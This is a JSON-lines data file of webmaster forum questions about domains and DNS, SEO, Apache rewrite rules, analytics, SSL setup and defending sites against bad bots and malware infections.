{"id":"51522","title":"How would I completely remove a domain from webs?","text":"I have registered a domain with 1&1.co.uk about 2 months ago. I changed the nameservers to the ones that webs told me to (ns1.webs.com, ns2.webs.com) so that I could publish my webs website to my custom domain. It was all working fine. What threw everything out is that yesterday, when I wanted to start using Weebly, I changed the nameservers in 1&1 to weebly's and waited to the changes to propagate through the internet. 1&1 said that the changes had been made but when I publish changes from weebly, they don't actually show but changes in webs do. Is there anything that I have missed in doing this process? Thanks in advance!"}
{"id":"25855","title":"Migrating a small web application for smartphones by creating narrow HTML pages?","text":"I have a small web site offering a couple of functionalities, but it was not designed to operate with smartphones then. I don't have experience with smartphone application development (and this might be over-engineering too), but I was wondering if I could use another method. From here, I notice that all smartphone screen support 320px width when held vertically. Could I develop HTML pages where content is squeezed properly within 320px and extended over 480px (and more)? Would this be displayed properly on smart phones? Should I save some space for scrolling bars? Or should I invest time learning to use a proper CSS framework for smartphones? If yes, does anyone have recommendation to make? Ideally, I would like to just take a copy of my pages and reorganize them for smartphones to keep things simple. Thanks."}
{"id":"59056","title":"How can I show contextual ads after a user filtered page contents by keyword?","text":"I am building a social bookmarking service that is monetized in part by Google Adsense. However, I don't know how to influence how the ads are displayed. I think Google scans my pages and decides itself which ads to show where. Navigation on my site is mainly based on the selection of categories or tags being provided by the users. So after a user filters a list of bookmarks by the tag \"SEO\", I think I know pretty well what he is looking for. So I am looking for a service that allows me to show contextual ads for these particular keywords. How I can guide Google to show relevant ads? Can you recommend an alternative ad network, that gives me more control?"}
{"id":"49975","title":"Trying to point domain name to new server, but there are other NS records I cannot change","text":"In my domain registrars console I see the following:  I have added my name servers to the bottom, but the domain name is not redirecting. I see there are 2 NS records above mine that I cannot change. Would anyone know if these are stuffing mine up?"}
{"id":"31254","title":"Is browser and bot whitelisting a practical approach?","text":"With blacklisting it takes plenty of time to monitor events to uncover undesirable behavior and then taking corrective action. I would like to avoid that daily drudgery if possible. I'm thinking whitelisting would be the answer, but I'm unsure if that is a wise approach due to the nature of deny all, allow only a few. Eventually someone out there will be blocked unintentionally is my fear. Even so, whitelisting would also block plenty of undesired traffic to pay per use items such as the Google Custom Search API as well as preserve bandwidth and my sanity. I'm not running Apache, but the idea would be the same I'm assuming. I would essentially be depending on the User Agent identifier to determine who is allowed to visit. I've tried to take into account for accessibility because some web browsers are more geared for those with disabilities although I'm not aware of any specific ones at the moment. The need to not depend on whitelisting alone to keep the site away from harm is fully understood. Other means to protect the site still need to be in place. I intend to have a honeypot, checkbox CAPTCHA, use of OWASP ESAPI, and blacklisting previous known bad IP addresses."}
{"id":"31251","title":"How does one block unsupported web browsers?","text":"Web browsers with an end of life no longer receive security updates which not only makes them vulnerable to the end user, but I imagine its not safe for the server's which receive visits by them either. Is it practical to block or enforce and notify the end user that their browser is unsafe and unsupported? If so, how would one achieve that? I don't know of any official or crowd-sourced listing with that information to parse and keep up to date. I'm aware that the practice can be custom built with User Agent parsing and feature detection for HTML5 enabled browsers."}
{"id":"29164","title":"SSL between customer's domain having CNAME to our secured server?","text":"We're setting up a payment service -- a few pages to collect credit cards, and do other stuff that needs to be secure. We would like to offer the service to customers via a cobranded page we serve that _appears_ to be on their site using a `CNAME` alias from _their_ domain to our domain. The customer doesn't have an SSL certificate. Example: * `http:\/\/www.customer.com` and other pages, like `http:\/\/www.customer.com\/about` already exist. * Customer wants to use our service to accept payments * Our domain has a wildcard SSL cert, www.customer.com doesn't have a cert. * Customer sets up CNAME DNS record like `payment.customer.com` that is an alias for one of our subdomains, like `customer.mycompany.com` * Customer links to our pages via their alias. Credit card info is collected on `https:\/\/payment.customer.com\/payment` So the question: can we set up our SSL cert for `customer.mycompany.com` such that it is acceptable if the request originates from `payment.customer.com` (and for multiple other customers)? Browser error messages are not OK. Thanks!"}
{"id":"31258","title":"URL parameter names being changed by user agents","text":"In reviewing one of our site's web logs I'm seeing instances where we are returning a 404 to requests because we're expecting an id parameter to be sent, but instead we're seeing a di parameter. The resource in question is an image but which image file actually gets served is dependent on the id parameter. The expected url is something like `http:\/\/images.mysite.com\/photo.gif?id=123&width=200&height=300` What I'm seeing in the logs is requests for `http:\/\/images.mysite.com\/photo.gif?di=123&width=200&height=300` The only case where we are seeing this on the id parameter. It seems unlikely that this is due to a server side or JavaScript bug since it seems to be only effecting a small percentage of our traffic. We are seeing this across a wide variety of user agents (both mobile and desktop) and IPs. Has anyone else seen this? Is there a browser plugin or other software you're aware of that could be causing this, and if so is there a good way to work around the issue?"}
{"id":"56974","title":"Our Website is being blocked in critical areas - how do I get to the bottom of this?","text":"I'm working with a UK-based contractor in the counter-terrorism industry. I've noticed that when I'm in Virginia Beach (near Norfolk and Washington DC), I cannot get a connection to the website through the wireless network (WiFi), either on my phone or on my laptop. If I do a `tracert` from a PC hooked up to the local network, I get a bunch of `\"* * * Request timed out.\"` lines. I can access the website from my phone using 3G in the parking lot. What diagnostics can I do that will reveal what is going on?"}
{"id":"48101","title":"Do we really need Google Analytics for better SERP positions?","text":"We have been using Google Analytics on our main website for years, but recently we have tried another local stats system (Yandex.Metrica) and we are very happy with it - more than with the Google one. Thus, our idea is to completely remove Google Analytics from our website and use only this new system. The question for SEO pro's related to this is the following. I've heard that having the Google Analytics counter on a website could be principal for better indexing\/ranking. Is that true? Can we remove their counter without losing our good search result positions?"}
{"id":"47186","title":"IP geolocation and permanent redirects for search engines","text":"when someone connects to my homepage I geolocate using their IP and redirect to the site with the right language (for example someone from Italy connects to example.com and I redirect them to example.com\/it). AFAIK the way to behave in these cases concerning SEO and search engines is to permanently redirect to avoid making the search engine think that the content is duplicated, but in this case the same URL can redirect to many other pages (example.com can redirect to example.com\/it, example.com\/en, example.com\/br, example.com\/ch and so on). What should I do to keep all the link juice going to example.com and still keep the functionality with all the localization and ip geolocation going? Right now my response is a 302 Found and then 200 OK after the redirect, is this right?"}
{"id":"20904","title":"Googlebot following invalid URLs. How do I troubleshoot the problem?","text":"I'm getting errors generated by Googlebot while following invalid URLs. Checking with Google Webmaster tools confirmed that the problem was the bot:  I've checked the source code and the HTML generated, but couldn't find out why Googlebot is finding and following this invalid URLs. **How do I troubleshoot the problem?**"}
{"id":"63500","title":"Domain name similar to an other existing one, bad for SEO?","text":"I am in the process of choosing a domain name for a personal project. I have found a very good one (let's say it is \"myproject.com\") but it is very close to another existing domain name (\"smyproject.com\"). Only the first letter is different. This website has a very different activity from mine. My question is: is it bad for SEO? When someone will type \"myproject\" in a search engine, is there a risk that the first result will be \"smyproject.com\" if this website has better SEO than mine?"}
{"id":"12815","title":"How does WordPress determine which template to show?","text":"So I recently set up a Wordpress blog and I've noticed that when I make posts, the link is `http:\/\/www.domain.com\/?p=2`. I was wondering how you could specify which file to use to parse such requests. For example, domain.com\/?author=1 now returns a page with all posts made by that author, but how and where does it get configured to go here? I checked to see if it was .htaccess related but it appears not to be."}
{"id":"48451","title":"Why a word having high significance in content keywords does not get a high rank in Google?","text":"When I check my website in Google Webmaster Tools, then keyword 'angeethi' is shown to be at the 3rd position in terms of significance. But when I search for 'angeethi' at Google, then the website doesn't appear even in top 15 pages for 'angeethi' keyword. What can be reason behind this and what should be done to improve this?"}
{"id":"12811","title":"SEO effect of redirecting to 404 page","text":"In a dynamically generated site (PHP, Python, pick your poison), 404 pages are normally handled dynamically to simply send a 404 header and display some error page on the URL that the user visited. I'm wondering if a site has a large number of 404 pages and they for example, contain a significant number of links to help a visitor get to a useful part of the site, might a search engine see this as a cloaking of doorway pages? I can't image search engines would generally punish you for having lots of 404s, you can't help people linking badly to you site but I can imaging they would punish you for cramming the 404 page with links. As an extension of that. Is there any benefit of redirecting users to a single URL to display the 404 page, something like `http:\/\/www.domain.com\/404`? How would this affect SEO?"}
{"id":"8560","title":"Rss legal issues","text":"I know it is illegal to post full articles of a website on yours beacuse of copyright. Is it legal to post the rss feeds of a website on your website?"}
{"id":"27184","title":"Looking for company job listing script","text":"Our company wants to have a simple job listing and resume uploading script. We'll only have a few jobs listed at any one time. Also, they are not interested in an \"online application\" at this time; just a simple form to upload a resume and email the correct HR people. Thinking that the index page will list the jobs after a short \"working here is great\" intro paragraph. Clicking on the job will display details in an animated display of a previously hidden DIV or similar. Clicking on Apply for this Job button will send to simple form asking name, email, and phone, with button to choose and upload resume file (to our MySQL database). Needs a form to input available positions. The only open source solutions I've found are scripts for job boards. That isn't really what I'm looking for, I don't think. Any suggestions would be GREATLY appreciated!"}
{"id":"12818","title":"Help with URL and HTACCESS","text":"I have a social engine 3 website, in my website all URLS can be changed(URL- REWRITING) through the SE-url settings automatically, but in my website their is one module which is custom coded, where I have to set its URL manually in htaccess file, the url which I want to changes is this: mysite.com\/institutes_desc.php?id=19 I want this URL to be changed like `mysite.com\/institutes\/intitute_name` or `mysite.com\/institutes\/intitute_id` My htaccess file is this RewriteEngine On Options +Followsymlinks RewriteBase \/ RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^.* - [L,QSA] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^.*\/images\/(.*)$ \/images\/$1 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^.*\/uploads_user\/(.*)$ \/uploads_user\/$1 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/?$ \/profile.php?user=$1 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/([^\/]+)?$ \/profile.php?user=$1$2 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/documentgroups\/([0-9]+)\/([0-9]+)\/([^\/]+)\/?$ \/documentgroup.php?user=$1&documentgroup_id=$2&group_id=$3&title=$4 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/documentgroups\/([0-9]+)\/([^\/]+)?$ \/documentgroup.php?user=$1&documentgroup_id=$2$3 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/documents\/([0-9]+)\/([^\/]+)\/?$ \/document.php?user=$1&document_id=$2&title=$3 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/documents\/([0-9]+)\/([^\/]+)?$ \/document.php?user=$1&document_id=$2$3 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/documents\/?$ \/documents.php?user=$1 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/documents\/?$ \/documents.php?user=$1 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^documents\/tag\/([^\/]+)\/?$ \/browse_documents.php?tag=$1 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^documents\/category\/([0-9]+)\/?$ \/browse_documents.php?i=$1 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/blog\/([0-9]+)\/?$ \/blog.php?user=$1&blogentry_id=$2 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/blog\/([^\/]+)?$ \/blog.php?user=$1$2 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/blog\/?$ \/blog.php?user=$1 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/trackback\/([0-9]+)\/?$ \/blog_ajax.php?task=trackback&user=$1&blogentry_id=$2 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/videos\/([0-9]+)\/?$ \/video.php?user=$1&video_id=$2 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*\/)?group\/([0-9]+)\/([^\/]*)$ \/group.php?group_id=$1$2$3 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*\/)?group\/([0-9]+)\/album\/([0-9]+)\/([^\/]*)$ \/group_album_file.php?group_id=$2&groupmedia_id=$3$4 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*\/)?group\/([0-9]+)\/discussion\/([0-9]+)\/([^\/]*)$ \/group_discussion_view.php?group_id=$2&grouptopic_id=$3$4 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*\/)?group\/([0-9]+)\/discussion\/([0-9]+)\/([0-9]+)\/([^\/]*)$ \/group_discussion_view.php?group_id=$2&grouptopic_id=$3&grouppost_id=$4$5 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/articles\/([^\/]+)?$ \/articles.php?user=$1$2 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/articles\/?$ \/articles.php?user=$1 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^article\/([0-9]+)(\/[^\/]*)?$ \/article.php?article_id=$1&article_slug=$2 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/job\/([0-9]+)\/?$ \/job.php?user=$1&jobentry_id=$2 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/job\/([^\/]+)?$ \/job.php?user=$1$2 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/job\/?$ \/job.php?user=$1 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/trackback\/([0-9]+)\/?$ \/job_ajax.php?task=trackback&user=$1&jobentry_id=$2 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/classifieds\/([0-9]+)\/?$ \/classified.php?user=$1&classified_id=$2 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/classifieds\/([0-9]+)\/([^\/]+)?$ \/classified.php?user=$1&classified_id=$2$3 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^([^\/]+)\/classifieds\/?$ \/classifieds.php?user=$1 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*\/)?event\/([0-9]+)\/([^\/]*)$ \/event.php?event_id=$1$2$3 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*\/)?event\/([0-9]+)\/album\/([0-9]+)\/([^\/]*)$ \/event_album_file.php?event_id=$2&eventmedia_id=$3$4 [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^application\/([0-9]+)\/?$ \/app.php?id=$1 [L] Can anyone help me in this? how can I set my url this way?"}
{"id":"34578","title":"Customizing a newly created website via Google Apps","text":"I just purchased a domain through enom via Google Apps. I have no information for logging into the enom website. How do I actually start customizing the web site? Do I somehow do it through Google? Or do I do it through enom? If the latter, then how do I log in?"}
{"id":"12548","title":"Apache mod_rewrite rule to convert URL of page, keeping parameters same","text":"I sent out a link in an email that had a typo in the URL. I need to make a quick change for tracking purposes so that any incoming hits to the URL are instead parsed to another URL. From the link sent out: \/app\/prog1.php?id=1234 To the version I want to track: \/app\/prog2.php?id=1234 How do I set up a RewriteRule to handle such a transformation?"}
{"id":"39202","title":"How do I make an AJAX block crawlable?","text":"I have a block with a few tabs. When the user clicks the tab the content of that block get loaded. Now I would like to make it crawlable by the search engines and at the same time I want to maintain the good user-experience. I figured out a couple of alternative but each one has its own shortcomings. The approached that I could come up with. * Use hashbangs and then use this. But hashbangs are not good and things of past now. Secondly it will make my content crawlable by only googlebot as yahoo and bing dont support this. * Use GET PARAMETERIZED fallback incase when JavaScript doesn't work. This will work for all bots and also would be nice as it would work without JavaScript. But then this will create duplicates of my page as this block is only a very small section of my page and I have like around 5-6 tabs. So it means that many duplicates! Doing this without AJAX is not an option as it would only increase the page load time as all these blocks have heavy media content in them!"}
{"id":"61666","title":"How to clean PmWiki from JS:Includer-AWG and protect my site from future infections?","text":"I'm hosting a site for an NGO for several years now. The site seems to be based on a PmWiki backend. I don't know much details because I'm just hosting the site and I'm not the guy who set it up. I would not ask but the one who created this site several years ago is not available for help currently. Now people called me up and told me their antivirus software is reporting the site as infected with some kind of javascript based trojans, called \" **JS:Includer-AWG (Trj)** \". What is this and how to get rid of it?  I tried to at least find out the installed version of PmWiki but couldnt find any details or a version string on the server. My main interest now is also to protect the site from future infections. Is this a PmWiki vulnarability? Is my webserver hacked? Where to start? I have already changed passwords and tried to delete malicious JS files but I want to avoid this to happen again. * * * **Update1** : * Quttera.com says \"No malware detected\"... * Yandex.com lists the torjan as \" **Troj\/JsRedir-NN** \" (data provided by Sophos). * Sucuri.net says \"Website blacklisted\" and \"compromized\". * * * **Update2** : * This site is running pmwiki-2.2.17 (VersionNum=2002017)."}
{"id":"7479","title":"Rewrite URL to a PHP script with parameters","text":"I'm trying to create a service that you give it a URL like `http:\/\/myhost.com\/34.png` and it will return the result of the script `http:\/\/myhost.com\/create_image.php?count=34`. I know this is possible with mod_rewrite, but I'm very new to this and I'd like some pointers on how to do this. I only want it to work for numbers."}
{"id":"35950","title":"Adding meta tag keywords - the same or different on all pages?","text":"I have 10 page php website. I want to add keywords to webpages. The website is related to hotel and having different-2 page like booking, rooms, places to visit etc. Question: Do we need to add same meta tag with all keyword for each webpage or should I create one meta tag page and include them in all pages?"}
{"id":"31434","title":"Traffic from site like pu.gg, goo.gl?","text":"Why is it that I get pageviews from sites like pu.gg, goo.gl? What does it mean? Am I visited by hackers? Is there any way to block this kind of page view from my analytics? I am kind'a alarm with this."}
{"id":"50385","title":"Is it ok to use a custom short domain for sharing third-party links?","text":"I use a custom short domain which is a subdomain of my main domain, for sharing my website. I would like to know if this is legally ok to use a custom short domain for sharing third-party links, also SEO-wise, could it have any negative effect on my website? because I am using my own subdomain to share third-party contents? On my website and my social profiles, I regularly share direct links to other websites, without having a page or article about them on my website, which means I will not get much from those links, only my domain will get some attention. Websites usually use their custom short domains ONLY for sharing contents of their main domain."}
{"id":"7471","title":"Search engine for website","text":"Does anybody have any recommendations for a search engine that I can use for my website. I currently use Google CSE, but am wondering if there is anything better. I want to be able to have the search results display certain data such as an image, header, information, etc... I would prefer something that I have some familiarity with such as javascript but I'm open to all suggestions. Thanks"}
{"id":"35775","title":"How does Lastpass recognize actual login?","text":"We are currently working on simple school project using Codeigniter where we need login page. It would be very useful if Lastpass could recognise and save logins. We have several accounts with different roles and manual insert of login is pretty slow. So I was wondering what needs to be done and where in files (view, controller?) for Lastpass to work as it does on every website. For example this is our login form: <?php echo form_open('login'); ?> <input type=\"text\" id=\"username\" name=\"username\"\/> <input type=\"text\" id=\"password\" name=\"password\"\/> <input type=\"submit\" value=\"Login\"\/> <\/form> Thanks for help. (could not create new tag \"Lastpass\" due to low reputation)"}
{"id":"7473","title":"How do I make sure the web developer I hire will not steal my idea?","text":"So I have a great idea for a new website. However, not the time to develop it. I would like to hire a person or company to design it for me. What steps do I need to take, to protect my idea? Where and how do people protect website ideas in general? Also, how easy is it for someone to tweak the idea and make it legally heir own? Is a patent enough to protect such a thing, idea. Are there different levels or types of protection? Thank You."}
{"id":"7477","title":"Embeding a generic google search with autocomplete - not a custom site search","text":"Most people's home page is google.com. My homepage is just a custom html page hosted on my computer. I do this because I am a web developer, and I have several projects that I work on a one time, so I like to have quick links to all of them. On that page I usually just have a Link to google.com for when I want to search. But below all of my quick links, I want to add a google search box (with Autocompletions). I first used a simple iframe to embed google.com into the page, but then my search results were confined to that iframe. I wanted to search for something, then my results would open in a new tab. I then came across this code snippet but it doesn't have Autocompletions: http:\/\/www.refactory.org\/s\/google_search\/view\/2 How can I add Autocompletions to this? Or is there a better way of doing it? Thanks in advance for any advice"}
{"id":"55350","title":"DNS and MX questions related to new hosts","text":"This stuff always confuses me so I'll layout the pieces and what I hope to achieve, if someone can connect the dots. * I have a domain `www.toys.com` * I have a cloud VPS * I have an Open Exchange mail server In a perfect world...get `toys.com` to point to and use cloud VPS's DNS settings. This is great my domain now has a web host, hooray. I don't want to use cloud VPS mail services. I want to use Open Exchange services. So I go into cloud VPS's DNS tools and add records for open exchange service and mail should work, hooray. My problem as follows `toys.com` currently has existing hosting and a separate mail server. * When I switch the DNS of `toys.com` to point to new web host, I know existing hosting will stop. * When I switch the DNS of `toys.com` to point to new web host, I think mail will also stop because the records are no longer there since there's a new host. * I now have to add the Open Exchange mail server records in cloud VPS's DNS tools. How long will this take? The reason I ask is because the mail server is hosting about 400 email addresses, but a new web host is wanted\/needed."}
{"id":"19098","title":"Tactics for dealing with misbehaving robots","text":"I have a site that, for regulatory reasons, may not be indexed or searched automatically. This means that we need to keep all robots away and prevent them from spidering the site. Obviously we've had a robots.txt file that disallows all right from the start. However, observing the robots.txt file is something only well behaved robots do. Recently we've had some issues with less well behaved robots. I've configured Apache to ban a few user-agents but it is pretty easy to get around that. So, the question is, is there some way to configure Apache (perhaps by installing a some module?) to detect robot-like behavior and respond? Any other ideas? At the moment all I can do is ban IP addresses based on manual inspection of the logs and that is simply not a viable long term strategy."}
{"id":"51389","title":"Filtering European traffic in Google Analytics","text":"I'd like to filter incoming information, with one profile containing U.S. traffic and another E.U. traffic. U.S. was easy enough... Custom Filter Include Filter Field: Country Filter Pattern: United States$ Case Sensitive: No This worked great. European traffic however has been problematic. Custom Filter Include Filter Field: Region Filter Pattern: Europe Case Sensitive: No The above doesn't work. I also tried \"Southern Europe|Northern Europe|etc\" as the filter pattern. No dice. Things are made more difficult by the fact that I can only test that worked by checking whether traffic was acquired the next day."}
{"id":"16048","title":"Switch to https","text":"I'm looking to use an .htaccess file to use mod_rewrite to switch the protocol from http:\/\/ to https:\/\/ when someone hits my website. For instance, once someone goes to: `http:\/\/www.mywebsite.com\/` I'd like the browser to switch to: `https:\/\/www.mywebsite.com\/` The same goes for the `http:\/\/mywebsite.com\/` -> `https:\/\/mywebsite.com` This is the following code I've been using and I've experienced some odd things so if anyone could provide me with information if this is the right way to do it, or if you have a better way, please provide it. Thanks in advance. RewriteEngine On RewriteCond %{SERVER_PORT} !=443 RewriteRule ^(.*)$ https:\/\/www.ebaillv.com\/$1 [R=301,L]"}
{"id":"58517","title":"Is this a DNS or server-side error?","text":"I am having difficulty accessing a specific website. (I get 500 Server fault errors) I can access this site on my iPhone when NOT connected to WiFi. I CANNOT access the site when connected to WiFi or via a Ethernet connection to my home network. I thought it might be a DNS issue, so I copied the DNSservers from a friend who has a different ISP, and has no problem access the site. No luck. Also tried some of the public DNS servers out there, again, with no luck. Does anyone have any idea on how to trace this issue?"}
{"id":"16511","title":"Should I link thousands on landing pages to my website or not?","text":"I'm working on a website, recently we decided to create thousands of landing pages to target different cities, using different keywords and feed them to google ... Our website's google rank is quite good ! question is, should we have these landing pages in our website's structure or have them separate not directly linked to the website ? if we do that is it going to damage our reputation?"}
{"id":"16512","title":"Are there any tried and tested methods for rejuvenating an old message board?","text":"I have a moderately successful message board with an excellent (but tiny) community associated with it. One of my goals for the month is to try and increase the amount of users on the site and also the amount of posts per day. Apart from the general methods that any site could use to drive traffic is there anything I should specifically be doing for a message board? Here are some of the things I have already tried (and am already trying, obviously some of these things are on-going projects) * Harnessing Facebook Communities and the 'like' button. * Writing a friendly message to non-logged in users asking them to sign up or log in. * Writing posts in such as way as they spark debate or conversation. * Listen and engage with the community. * We have a basic reputation system. * We have an introduction thread and it has a friendly welcoming atmosphere. * We interview people on the site. Any other suggestions would be greatly appreciated."}
{"id":"19725","title":"Looking for horizontal image slider for my site","text":"Any javascript tool which will take url of my images and links. It should work like a horizontalimage slider. If some one clicks on the image, it should redirect to the respective link. Has anybody seen any java script widget for the Horizontal image slider."}
{"id":"16043","title":"Automated Website Testing\/Sanity\/Quality","text":"I am thinking about building a tool that starts from the root of a webpage and traverses the entire website gathering a list of resources such as CSS\/HTML\/Javascript files and then runs CSS\/Javascript Lint + HTML Validator + Broken Link Finder. Before I start building something like this, I was wondering if this exists already? Thanks. I already searched Google quite a bit and couldn't find much."}
{"id":"19092","title":"How to plan a website, with dependency 80% on google organic search and 20% direct users?","text":"How to plan a website, with dependency 80% on google organic search and 20% direct users? Please share your views, knowledge and experience... Thanks :)"}
{"id":"62892","title":"Google Webmaster crawler showing internal links I cannot find","text":"I've got the crawler showing links that appear to be double URL encoded links. Specifically links that are `%2520` instead of `%20` or ``. As far as I know I've fixed this a while ago by removing special characters and spaces, but let the URL handler still be able to handle these links. I go to the `Linked From` page it lists as source of the issue, and I cannot find anywhere the link it describes. Does anyone know what's going on? It seems that the links are ok on my end, and Google is converting the `%` to `%25` and can't go to the page after, because my setup with IIS cannot handle a `%2520`"}
{"id":"22694","title":"What is the most time-effective way to monitor & manage threats from bots and\/or humans?","text":"I'm usually overwhelmed by the amount of tools that hosting companies provide to track & quantify traffic data and statistics. I'm equally overwhelmed by the countless flavors of malicious 'attacks' that target any and every web site known to man. The security methods used to protect both the back and front end of a website are documented well and are straight-forward in terms of ease of implementation and application, but the army of autonomous bots knows no boundaries and will always find a niche of a website to infest. So what can be done to handle the inevitable swarm of bots that pound your domain with brute force? Whenever I look at error logs for my domains, there are always thousands of entries that look like bots trying to sneak sql code into the database by tricking the variables in the url into giving them schema information or private data within the database. My barbaric and time-consuming plan of defense is just to monitor visitor statistics for those obvious patterns of abuse and either ban the ips or range of ips accordingly. Aside from that, I don't know much else I could do to prevent all of the ping pong going on all day. Are there any good tools that automatically monitor this background activity (specifically activity that throws errors on the web & db server) and proactively deal with these source(s) of mayhem?"}
{"id":"60656","title":"Asp.Net files appears as code rather than serving web pages","text":"I have created my website in ASP.Net and I have uploaded my site through FileZilla FTP server Software. But when i use My domain name in browser, it just displays Code instead of Design view. I'm new to this I don't know the exact error so please guide me. **P.S** * Vb.net is the code behind file * `.aspx.vb` is the file extension of code behind file and * for design page `.aspx` is the file extension"}
{"id":"22698","title":"Does Google submit HTML forms?","text":"I have a web page, say `http:\/\/domain\/purchase` and in this page, I have a web form. User, on submitting this form (which has validation, both client-side and server side and won't be validated until fields are filled appropriately), would be redirected to another page, where (s)he can choose other things, and specify other settings and then purchase our product. Say the second page is `http:\/\/domain\/options`. So, user comes to our site and visits `http:\/\/domain\/purchase`, fills the form, submits it, and then would be redirected to the second page, `http:\/\/doamin\/options?parameter1=value1¶meter2=value2`, which contains parameters from the first page. This is very common in passing parameters between web pages (or technically, between URLs). Now I was reviewing my website, and saw that Google had indexed some of my redirected web pages and URLs, like: 1. `http:\/\/domain\/options?parameter1=value1¶meter2=value2` 2. `http:\/\/domain\/options?parameter1=value3¶meter2=value4` 3. `http:\/\/domain\/options?parameter1=value5¶meter2=value6` 4. `http:\/\/domain\/options?parameter1=value7¶meter2=value8` 5. `http:\/\/domain\/options?parameter1=value9¶meter2=value10` This means that Google Bot has visited our `http:\/\/domain\/purchase` page, and has filled our form, and has submitted it, and was being redirected to the other URL, with corresponding parameters. This is the only way that makes sense to me. Does Google really fills forms? **PS:** All parameters are meaningful, meaning that they are not filled arbitrarily. For example, the **phone** parameter in indexed pages has correct phone numbers. How is it possible?"}
{"id":"6630","title":"reliable way to get whois information in standard format","text":"I am trying to write a script to fetch whois information for a bunch of sites. I am facing two problems: 1) whois command arbitrarily returns fgets\/connection reset errors. Trying multiple times for a site often works but is very ugly. 2) The data returned doesnt seem to be in standard format. For example, for my current list, all domains are registered by one of 4 registrars. However, the registrar entry has various formats: Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D\/B\/A PUBLICDOMAINREGISTRY.COM Registrar: GODADDY.COM, INC. Registrar: NETFIRMS, INC. Sponsoring Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D\/B\/A PUBLICDOMAINREGISTRY.COM Created by Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D\/B\/A PUBLICDOMAINREGISTRY.COM Last Updated by Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D\/B\/A PUBLICDOMAINREGISTRY.COM Sponsoring Registrar: GODADDY.COM, INC. Created by Registrar: GODADDY.COM, INC. Last Updated by Registrar: GODADDY.COM, INC. Sponsoring Registrar:#1 Indian Domains dba Mitsu.in (R74-AFIN) Sponsoring Registrar:Business Solutions (R54-AFIN) Sponsoring Registrar:Directi Internet Solutions Pvt. Ltd. d\/b\/a PublicDomainRegistry.com (R27-LROR) Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) Sponsoring Registrar:GoDaddy.com, Inc. (146) Created by Registrar:GoDaddy.com, Inc. (146) Last Updated by Registrar:Afilias Ltd. (4000017) Sponsoring Registrar:GoDaddy.com, Inc. (R91-LROR) Sponsoring Registrar:IN Registrar d.b.a. inregistrar.com (R123-AFIN) Sponsoring Registrar:Netfirms, Inc. (R1427-LROR) Sponsoring Registrar:eNom, Inc. (R126-LRMS) Is there any way to reliably get the fields like expiration date and registrar for a domain (I am willing to write custom php scripts). regards, JP"}
{"id":"28374","title":"Facebook Chat or Chat in site","text":"I will put my site Facebook Chat or Normal chat for users.However, I want to believe that this will be benefical. Is there a graph for that shows it increase pageviews for sites? I really need it"}
{"id":"54252","title":"Server gzip compression vs gzipped sitemap","text":"My client's SEO guy said that search engines prefer gzipped sitemaps. They keep their sitemap in `.xml.gz` file. I was wondering if there is any difference for search engines between a gzipped \"on-the-fly\" sitemap (i.e. by Apache or Nginx) and a \"manually\" gzipped file."}
{"id":"44587","title":"How to promote external sites besides my own in search results?","text":"I have a site which, after fixing a lot of SEO issues, is now doing fairly well in Google search result rankings; the problem is I would like some related pages on other people's websites to show along with my own pages. For example, if I were to search for my name and the first page is full of links to pages on my website, how can I get Google to rank other relevant links like my StackOverflow profile higher?"}
{"id":"52875","title":"Google Webmaster Tools crawl error with 'function.session-start' URLs","text":"I've got following error URLs from the Google Webmaster Tools _crawl errors_. http:\/\/www.mydomain.com\/mydomain\/shirts\/function.session-start I've checked the those pages that links from but I didn't found any wrong URL with `function.session-start`. What is the issue there and how to avoid it?"}
